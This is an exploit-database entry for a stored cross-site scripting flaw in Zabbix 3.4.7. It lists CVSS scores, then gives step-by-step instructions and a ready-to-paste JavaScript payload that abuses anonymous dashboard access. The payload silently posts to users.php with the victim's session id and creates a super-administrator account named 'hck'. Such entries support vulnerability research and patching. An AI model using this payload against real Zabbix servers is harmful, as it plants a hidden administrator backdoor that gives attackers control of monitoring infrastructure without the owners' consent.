Zabbix 3.4.7 - Stored XSS

2021-03-3100:00:00

Radmil Gazizov

www.exploit-db.com

1144

zabbix

stored xss

vulnerability

dashboard creation

security issue

CVSS2

6.4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:P/A:N

CVSS3

9.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

AI Score

9.3

Confidence

High

EPSS

0.298

Percentile

97.0%

JSON

# Exploit Title: Zabbix 3.4.7 - Stored XSS
# Date: 30-03-2021
# Exploit Author: Radmil Gazizov
# Vendor Homepage: https://www.zabbix.com/
# Software Link: https://www.zabbix.com/rn/rn3.4.7
# Version: 3.4.7
# Tested on: Linux

# Reference -
https://github.com/GloryToMoon/POC_codes/blob/main/zabbix_stored_xss_347.txt

1- Go to /zabbix/zabbix.php?action=dashboard.list (anonymous login CVE-2019-17382)
2- Create new dashboard
3- Add a new widget => Type: Map nabigation tree
4- Past into parameter "Name": <img src="x" onerror="var n='hck',q=jQuery;q.post('users.php',{sid:q('#sid').attr('value'),form:'Create+user',alias:n,name:n,surname:n,'user_groups[]':7,password1:n,password2:n,theme:'default',refresh:'9s',rows_per_page:9,url:'',user_type:3,add:'Add'});">
5- Click to "Add" button